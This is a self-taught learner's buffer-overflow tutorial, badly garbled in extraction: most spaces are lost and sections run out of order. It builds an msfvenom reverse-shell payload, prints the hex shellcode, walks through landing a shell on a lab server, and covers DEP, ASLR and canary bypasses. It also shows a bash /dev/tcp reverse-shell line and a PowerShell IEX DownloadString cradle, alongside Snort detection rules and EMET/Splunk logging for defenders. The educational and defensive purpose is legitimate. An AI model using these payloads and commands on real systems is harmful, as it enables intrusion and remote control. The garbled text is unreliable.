x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
